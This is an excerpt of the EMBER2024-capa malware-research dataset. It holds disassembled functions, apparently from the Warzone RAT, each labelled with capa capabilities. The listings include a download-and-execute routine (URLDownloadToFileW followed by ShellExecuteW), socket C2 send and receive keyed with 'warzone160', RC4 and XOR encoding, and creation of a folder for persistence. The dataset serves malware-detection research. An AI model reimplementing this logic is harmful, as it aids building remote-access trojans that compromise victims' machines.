joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4141a0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x10c
push ebx
push esi
mov ebx, dword [esp + 0x118]
push edi
test ebx, ebx
je 0x414213
push ebx
call fcn.004142d0
add esp, 4
test eax, eax
jne 0x4141e1
xor eax, eax
pop edi
mov dword [0x4226f8], 0xf
mov dword [0x4226f4], 0xd
pop esi
pop ebx
add esp, 0x10c
ret
add bl, 0x40
lea eax, [esp + 0x10]
mov byte [esp + 0xc], bl
push eax
lea ecx, [esp + 0x18]
lea ebx, [esp + 0x10]
mov byte [esp + 0x11], 0x3a
mov byte [esp + 0x12], 0x2e
mov byte [esp + 0x13], 0
push ecx
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
jmp 0x414223
lea eax, [esp + 0x14]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x4142c2
inc eax
cmp eax, 0x104
ja 0x4142c2
mov edx, dword [esp + 0x120]
test edx, edx
jne 0x414274
mov ecx, dword [esp + 0x124]
cmp ecx, eax
jg 0x41424f
mov ecx, eax
push ecx
call fcn.0040bf40
add esp, 4
mov edx, eax
test edx, edx
jne 0x414293
xor eax, eax
pop edi
mov dword [0x4226f4], 0xc
pop esi
pop ebx
add esp, 0x10c
ret
cmp dword [esp + 0x124], eax
jge 0x414293
xor eax, eax
pop edi
mov dword [0x4226f4], 0x22
pop esi
pop ebx
add esp, 0x10c
ret
lea edi, [esp + 0x14]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
shr ecx, 2
mov esi, edi
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, edx
pop edi
pop esi
pop ebx
add esp, 0x10c
ret
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x10c
ret

Function at 0x4142d0
Capabilities:
Get disk information

Disassembly:
mov eax, dword [esp + 4]
sub esp, 4
test eax, eax
jne 0x4142e4
mov eax, 1
add esp, 4
ret
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0x5c
mov byte [esp + 3], 0
add al, 0x40
mov byte [esp], al
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test eax, eax
je 0x414316
cmp eax, 1
je 0x414316
mov eax, 1
add esp, 4
ret
xor eax, eax
add esp, 4
ret
Function at 0x415700
Capabilities:
Set environment variable

Disassembly:
sub esp, 4
cmp dword [esp + 8], 0
push ebx
push esi
push edi
push ebp
je 0x41593e
mov edx, dword [esp + 0x18]
push 0x3d
push edx
call fcn.00415f10
add esp, 8
mov ebp, eax
test ebp, ebp
je 0x41593e
cmp ebp, dword [esp + 0x18]
je 0x41593e
cmp byte [ebp + 1], 1
sbb eax, eax
mov ecx, dword [0x42271c]
neg eax
mov dword [esp + 0x10], eax
cmp dword [0x422720], ecx
jne 0x41575d
push ecx
call fcn.004159b0
add esp, 4
mov dword [0x42271c], eax
cmp dword [0x42271c], 0
jne 0x41580d
cmp dword [esp + 0x1c], 0
je 0x415794
cmp dword [0x422724], 0
je 0x415794
call fcn.00414060
test eax, eax
je 0x41580d
mov eax, 0xffffffff
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
cmp dword [esp + 0x10], 0
je 0x4157a5
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
cmp dword [0x42271c], 0
jne 0x4157d9
push 4
call fcn.0040bf40
add esp, 4
mov dword [0x42271c], eax
test eax, eax
jne 0x4157ce
mov eax, 0xffffffff
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
mov eax, dword [0x42271c]
mov dword [eax], 0
cmp dword [0x422724], 0
jne 0x41580d
push 4
call fcn.0040bf40
add esp, 4
mov dword [0x422724], eax
test eax, eax
jne 0x415802
mov eax, 0xffffffff
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
mov eax, dword [0x422724]
mov dword [eax], 0
mov esi, dword [0x42271c]
sub ebp, dword [esp + 0x18]
mov edx, dword [esp + 0x18]
push ebp
push edx
call fcn.00415950
add esp, 8
mov edi, eax
test edi, edi
jl 0x415875
cmp dword [esi], 0
je 0x415875
cmp dword [esp + 0x10], 0
je 0x41586c
lea ebx, [esi + edi*4]
mov eax, dword [ebx]
push eax
call fcn.0040bec0
add esp, 4
cmp dword [ebx], 0
je 0x415859
mov eax, dword [ebx + 4]
add ebx, 4
inc edi
mov dword [ebx - 4], eax
cmp dword [ebx], 0
jne 0x41584a
shl edi, 2
push edi
push esi
call fcn.00415d60
add esp, 8
test eax, eax
je 0x4158bd
jmp 0x4158b8
mov edx, dword [esp + 0x18]
mov dword [esi + edi*4], edx
jmp 0x4158bd
cmp dword [esp + 0x10], 0
jne 0x415934
test edi, edi
jge 0x415886
neg edi
lea eax, [edi*4 + 8]
push eax
push esi
call fcn.00415d60
add esp, 8
test eax, eax
jne 0x4158a8
mov eax, 0xffffffff
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
lea ecx, [eax + edi*4]
mov edx, dword [esp + 0x18]
mov dword [ecx], edx
mov dword [ecx + 4], 0
mov dword [0x42271c], eax
cmp dword [esp + 0x1c], 0
je 0x41592a
mov edi, dword [esp + 0x18]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
inc ecx
push ecx
call fcn.0040bf40
add esp, 4
mov ebx, eax
test ebx, ebx
je 0x41592a
mov edi, dword [esp + 0x18]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
shr ecx, 2
mov esi, edi
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [esp + 0x10], 1
sbb eax, eax
lea ecx, [ebp + ebx]
mov byte [ecx], 0
lea ecx, [ecx + 1]
and eax, ecx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push ebx
call fcn.0040bec0
add esp, 4
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
mov eax, 0xffffffff
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
Function at 0x41873c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ecx
push edx
push esi
mov ebx, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov edx, ecx
cmp edx, 4
jl 0x418783
cmp edx, 0x10
jl 0x41876f
shr ecx, 4
nop
xor eax, dword [ebx]
mov esi, dword [ebx + 4]
xor eax, dword [ebx + 8]
xor esi, dword [ebx + 0xc]
add ebx, 0x10
xor eax, esi
dec ecx
jne 0x41875c
mov ecx, edx
shr ecx, 2
and ecx, 3
test ecx, ecx
je 0x418783
xor eax, dword [ebx]
add ebx, 4
dec ecx
jne 0x41877b
and edx, 3
cmp edx, 3
jne 0x418797
xor ecx, ecx
mov cl, byte [ebx]
inc ebx
shl ecx, 0x10
xor eax, ecx
jmp 0x41879c
cmp edx, 2
jne 0x4187a8
xor ecx, ecx
mov cl, byte [ebx]
inc ebx
shl ecx, 8
xor eax, ecx
jmp 0x4187ad
cmp edx, 1
jne 0x4187b3
xor ecx, ecx
mov cl, byte [ebx]
xor eax, ecx
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x4193f0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov eax, 0x8000
xor cx, cx
push edi
mov edi, dword [esp + 0xc]
mov word [edi + 0x3c], ax
mov esi, dword [edi + 0x14]
mov dword [edi + 0x20], 0
mov dword [edi + 0x34], eax
movzx eax, cx
inc cx
xor edx, edx
mov dl, byte [eax + esi + 0x8000]
mov eax, dword [edi + 0x20]
shl eax, 5
xor edx, eax
and edx, 0x7fff
cmp cx, 2
mov dword [edi + 0x20], edx
jb 0x41940f
pop edi
pop esi
ret
Function at 0x401e8e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, [esi + 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [esi], eax
test eax, eax
pop esi
setne cl
mov eax, ecx
pop ebp
ret 8

Function at 0x401eb9
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x401ed3
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi], 0
pop esi
ret

Function at 0x402505
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [edx + 4], esi
jne 0x402538
lea eax, [edx + 8]
push eax
lea ecx, [ebp - 4]
call fcn.004033f3
push 5
push esi
push esi
push dword [ebp - 4]
push 0x412468
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
call fcn.004058fb
pop esi
leave
ret

Function at 0x40264b
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 8]
push 0x1a
pop edx
call fcn.0040d51c
push 0xa
pop edx
lea ecx, [ebp - 0xc]
call fcn.0040326d
push 0x412464
lea ecx, [ebp - 8]
mov esi, eax
call fcn.00403230
push esi
mov ecx, eax
call fcn.004030fb
mov ecx, dword [ebp - 0xc]
call fcn.004058fb
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0xc]
add edi, 4
push edi
call fcn.004033f3
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xc]
call fcn.004032e3
push eax
lea ecx, [ebp - 8]
call fcn.004030fb
mov ecx, dword [ebp + 8]
call fcn.004058fb
mov ecx, dword [ebp - 0xc]
and dword [ebp + 8], 0
call fcn.004058fb
mov esi, dword [ebp - 8]
lea ecx, [ebp + 8]
push edi
call fcn.004033f3
xor edi, edi
push edi
push edi
push esi
push dword [ebp + 8]
push edi
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, dword [ebp + 8]
mov esi, eax
call fcn.004058fb
test esi, esi
je 0x4026f5
mov dword [ebp - 0xc], 1
jmp 0x402717
push 5
push edi
push edi
push dword [ebp - 8]
push 0x412468
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xc], 2
cmp eax, 0x20
jbe 0x402717
mov dword [ebp - 0xc], edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x4125a4
push eax
mov ecx, ebx
call fcn.00404a3d
mov ecx, dword [ebp - 8]
call fcn.004058fb
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402747
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov edi, edx
push 0
push ecx
mov ecx, esp
lea esi, [edi + 8]
push esi
call fcn.004033f3
lea ecx, [ebp - 0x20]
call fcn.0040dd2b
push esi
lea ecx, [ebp - 4]
call fcn.004033f3
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp - 4]
mov esi, eax
call fcn.004058fb
push ecx
test esi, esi
jne 0x402793
push ecx
lea ecx, [ebp - 0x20]
call fcn.0040dcf9
jmp 0x4027a0
push 0x40000000
lea ecx, [ebp - 0x20]
call fcn.0040dcba
test eax, eax
je 0x4027cd
lea eax, [edi + 0x14]
push eax
lea ecx, [ebp - 8]
call fcn.00402e12
push ecx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040dc65
lea ecx, [ebp - 8]
call fcn.00402dff
lea ecx, [ebp - 0x20]
call fcn.0040dc4d
lea ecx, [ebp - 0x20]
call fcn.0040da15
pop edi
pop esi
leave
ret

Function at 0x402aff
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x13c]
xor ebx, ebx
push eax
push ebx
mov esi, edx
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
lea ecx, [ebp - 0x13c]
call fcn.0040f5c8
mov edx, dword [ebp - 0xc]
lea ecx, [ebp - 8]
push ecx
push ecx
mov ecx, eax
mov dword [ebp - 8], ebx
call fcn.0040f2c7
pop ecx
pop ecx
push dword [ebp - 8]
push ecx
mov ecx, esp
push 0x412428
call fcn.004033ab
push ecx
mov ecx, esp
call fcn.0040d7a6
call fcn.0040d780
push eax
call fcn.0040d724
push eax
call fcn.0040d56a
push eax
push 0xb4
push ecx
push ecx
mov ecx, esp
push ecx
call fcn.0040d7e0
pop ecx
lea ecx, [ebp - 0x34]
call fcn.00403e02
push eax
mov ecx, edi
call fcn.00404a3d
lea ecx, [ebp - 0x34]
call fcn.00403dd8
cmp dword [esi + 0x34], ebx
je 0x402c01
push 0x208
lea eax, [ebp - 0x344]
push ebx
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x344]
push eax
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_Vision_
lea eax, [ebp - 0x344]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
lea eax, [ebp - 0x344]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push edi
call fcn.00408431
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x414784
push eax
mov ecx, edi
call fcn.00404a3d
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402f9a
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
lea eax, [ebp - 0x400]
push esi
push edi
push 0x400
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x400]
push 0x1ff
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x400]
mov ecx, edi
push eax
call fcn.004033ab
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x405042
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0xc], 0xffffffff
jne 0x405057
xor eax, eax
jmp 0x4050c5
push str.warzone160
lea ecx, [ebp - 8]
call fcn.00403185
push eax
lea ecx, [ebp - 0x14]
call fcn.00402dcc
mov ecx, dword [ebp - 8]
call fcn.004058fb
mov esi, dword [ebp + 8]
push ecx
push ecx
mov ecx, esp
push esi
call fcn.00402e12
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.00402e12
lea ecx, [ebp - 0xc]
call fcn.00405b00
add esp, 0x10
push 0
push dword [esi + 4]
push dword [ebp - 0xc]
push dword [edi + 0xc]
call dword [sym.imp.WS2_32.dll_send]
xor ebx, ebx
lea ecx, [ebp - 0xc]
cmp eax, 0xffffffff
setne bl
call fcn.00402dff
lea ecx, [ebp - 0x14]
call fcn.00402dff
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4050cc
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1040
call fcn.00401130
mov eax, ecx
push ebx
push esi
push edi
cmp dword [eax + 0xc], 0xffffffff
mov dword [ebp - 8], eax
je 0x40528d
push 4
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0xea60
push ecx
push 0x1006
push 0xffff
push dword [eax + 0xc]
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x1000
xor ebx, ebx
lea eax, [ebp - 0x103c]
push ebx
push eax
call fcn.00401052
add esp, 0xc
lea ecx, [ebp - 0xc]
push str.warzone160
call fcn.00403185
push eax
lea ecx, [ebp - 0x30]
call fcn.00402dcc
mov ecx, dword [ebp - 0xc]
call fcn.004058fb
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
push 0xfffffffffffffffe
or esi, 0xffffffff
mov ebx, 0x1000
pop edi
cmp esi, 0xffffffff
je 0x405162
mov eax, esi
sub eax, edi
cmp eax, 0x1000
cmovl ebx, eax
push 0
push ebx
lea eax, [ebp - 0x103c]
push eax
mov eax, dword [ebp - 8]
push dword [eax + 0xc]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0xc], eax
test eax, eax
jle 0x405275
cmp esi, 0xffffffff
jne 0x4051e9
cmp eax, 0xc
jl 0x4051e9
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x103c]
and dword [ebp - 0x18], 0
lea ecx, [ebp - 0x1c]
push 0xc
push eax
call fcn.00402d5a
push ecx
push ecx
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.00402e12
push ecx
push ecx
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.00402e12
lea ecx, [ebp - 0x38]
call fcn.00405b00
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x38]
add esp, 0x10
xor edi, edi
mov esi, dword [eax + 4]
add esi, 0xc
call fcn.00402dff
lea ecx, [ebp - 0x1c]
call fcn.00402dff
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
add edi, eax
push eax
lea eax, [ebp - 0x103c]
push eax
lea ecx, [ecx + 0x10]
call fcn.00402d5a
cmp edi, esi
jl 0x405151
mov ebx, dword [ebp - 8]
lea ecx, [ebp - 0x14]
push edi
lea esi, [ebx + 0x10]
push dword [esi]
call fcn.00402d5a
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.00402e12
push ecx
push ecx
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.00402e12
lea ecx, [ebp - 0x28]
call fcn.00405b00
add esp, 0x10
mov ecx, esi
call fcn.00402d8c
push edi
push dword [ebp - 0x28]
mov ecx, esi
call fcn.00402d5a
lea ecx, [ebp - 0x14]
call fcn.00402d8c
lea ecx, [ebp - 0x28]
call fcn.00402d8c
push dword [ebp + 8]
mov ecx, ebx
call fcn.00404a77
lea ecx, [ebp - 0x28]
call fcn.00402dff
jmp 0x405146
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x14]
call fcn.00402dff
lea ecx, [ebp - 0x30]
call fcn.00402dff
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x405294
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
lea eax, [ebp + 8]
push ebx
push esi
push edi
push eax
mov ebx, ecx
call fcn.00402eeb
mov eax, dword [ebp + 0xc]
lea ecx, [ebx + 0x1d8]
mov dword [ebx + 4], eax
call fcn.0040dd97
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
mov dword [ebp - 0x18], 6
push eax
lea eax, [ebp - 0x24]
xor edi, edi
push eax
push 0
push dword [ebp + 8]
inc edi
mov dword [ebp - 0x1c], edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x405348
mov eax, dword [ebp - 4]
push 0
push edi
push 2
mov esi, dword [eax + 0x18]
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 0xc], eax
cmp eax, 0xffffffff
je 0x405348
mov eax, dword [esi + 4]
lea esi, [ebx + 0x1c8]
push 2
mov dword [ebx + 0x1cc], eax
pop eax
push dword [ebp + 0xc]
mov word [esi], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp - 4]
mov word [ebx + 0x1ca], ax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push 0x10
push esi
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40535b
or dword [ebx + 0xc], eax
xor edi, edi
mov ecx, dword [ebp + 8]
call fcn.004058fb
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8
push dword [ebx + 0x1d8]
mov dword [ebx + 8], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40534a

Function at 0x40536c
Capabilities:
Initialize winsock library

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.00402f89
xor edi, edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
push ecx
lea ecx, [esi + 0x1d8]
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
call fcn.0040ddc0
lea eax, [esi + 0x38]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
or dword [esi + 0xc], 0xffffffff
mov eax, esi
mov dword [esi + 0x18], edi
mov dword [esi + 0x24], edi
pop edi
pop esi
ret

Function at 0x405738
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ecx, eax
mov al, byte [ecx]
cmp al, 0x22
jne 0x405775
inc ecx
mov dl, byte [ecx]
test dl, dl
je 0x405765
mov al, dl
mov dl, al
cmp al, 0x22
je 0x405765
inc ecx
mov dl, byte [ecx]
mov al, dl
test dl, dl
jne 0x405756
lea eax, [ecx + 1]
cmp dl, 0x22
cmovne eax, ecx
mov ecx, eax
jmp 0x405780
inc ecx
mov al, byte [ecx]
cmp al, 0x20
jg 0x405772
jmp 0x405782
cmp al, 0x20
jg 0x405786
inc ecx
mov al, byte [ecx]
test al, al
jne 0x40577b
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.004057c6
mov edx, 0x41602c
mov ecx, section..data
call fcn.004057f3
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ecx
push ecx
call fcn.00410a7c
mov esi, eax
call fcn.004057db
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4059f7
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
mov dword [ebp - 4], edx
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov eax, esi
jmp 0x405a5b
inc esi
and esi, 0x800000ff
jns 0x405a1d
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [esi + ebx]
movzx edx, cl
add eax, edx
and eax, 0x800000ff
jns 0x405a33
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp + 8], eax
mov al, byte [eax + ebx]
mov byte [esi + ebx], al
mov eax, dword [ebp + 8]
mov byte [eax + ebx], cl
movzx eax, byte [esi + ebx]
mov ecx, dword [ebp - 4]
add eax, edx
movzx eax, al
mov al, byte [eax + ebx]
xor byte [ecx], al
inc ecx
mov eax, dword [ebp + 8]
dec edi
mov dword [ebp - 4], ecx
test edi, edi
jg 0x405a0c
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405cc2
Capabilities:
Hash data using sha1

Disassembly:
and dword [ecx + 0x18], 0
and dword [ecx + 0x14], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], 0xc3d2e1f0
ret
Function at 0x40701b
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0xc], ebx
lea eax, [ebx + 0x10]
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0040dd97
mov ecx, dword [ebx + 8]
xor eax, eax
mov dword [ebp - 8], eax
test ecx, ecx
je 0x40707f
xor edi, edi
cmp eax, ecx
mov dword [ebp - 0x10], edi
setb cl
call fcn.004056f9
mov esi, dword [ebx]
mov edx, dword [ebp + 0xc]
add esi, edi
mov ecx, dword [ebx + 8]
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 8]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x24], edx
je 0x407095
mov edi, dword [ebp - 0x10]
add edi, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], edi
cmp eax, ecx
jb 0x407049
xor esi, esi
mov eax, dword [ebp - 0x1c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
cmp esi, ecx
setb cl
call fcn.004056f9
imul ebx, esi, 0xc
lea edi, [ebp - 0x28]
mov esi, dword [ebp - 0xc]
mov esi, dword [esi]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x20]
call fcn.004058fb
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp eax, dword [esi + 8]
setb cl
call fcn.004056f9
mov esi, dword [esi]
lea edi, [ebp - 0x28]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
push edi
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [ebp - 0xc]
mov esi, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], esi
cmp eax, dword [ebx + 8]
setb cl
call fcn.004056f9
mov eax, dword [ebx + 8]
mov ecx, dword [ebp - 0x14]
cmp ecx, eax
ja 0x40711b
imul edx, ecx, 0xc
mov esi, dword [ebx]
add esi, edx
inc ecx
add edx, 0xc
lea edi, [esi - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebx + 8]
cmp ecx, eax
jbe 0x407101
mov esi, dword [ebp - 0x10]
xor edi, edi
dec eax
cmp dword [ebp + 0x10], 0
mov dword [ebx + 8], eax
je 0x407081
push 3
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push eax
push edi
push edi
push edi
push edi
push ecx
mov eax, esp
mov dword [ebp - 0x14], edi
push dword [ebp + 0xc]
lea ecx, [ebp - 0x4c]
mov dword [eax], edi
call fcn.00403ce3
mov ecx, dword [ebp + 8]
push eax
call fcn.00404a3d
lea ecx, [ebp - 0x4c]
call fcn.00403c49
lea ecx, [ebp - 0x18]
call fcn.00402dff
jmp 0x407081
Function at 0x407167
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov ebx, ecx
push 0x14
pop ecx
call fcn.00405878
mov esi, dword [ebp + 0xc]
mov edi, eax
mov edx, dword [esi + 4]
lea ecx, [esi + 8]
push ecx
lea ecx, [edi + 0x10]
mov dword [edi + 0xc], edx
call fcn.004031fd
mov eax, dword [ebp + 8]
lea ecx, [ebx + 0x10]
mov dword [edi + 4], eax
mov dword [edi], ebx
mov eax, dword [esi + 4]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edi
call fcn.0040dd97
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push edi
push 0x406e11
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov edi, esp
lea esi, [ebp - 0x14]
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00401dfe
push dword [ebx + 0x10]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
pop ebx
leave
ret 8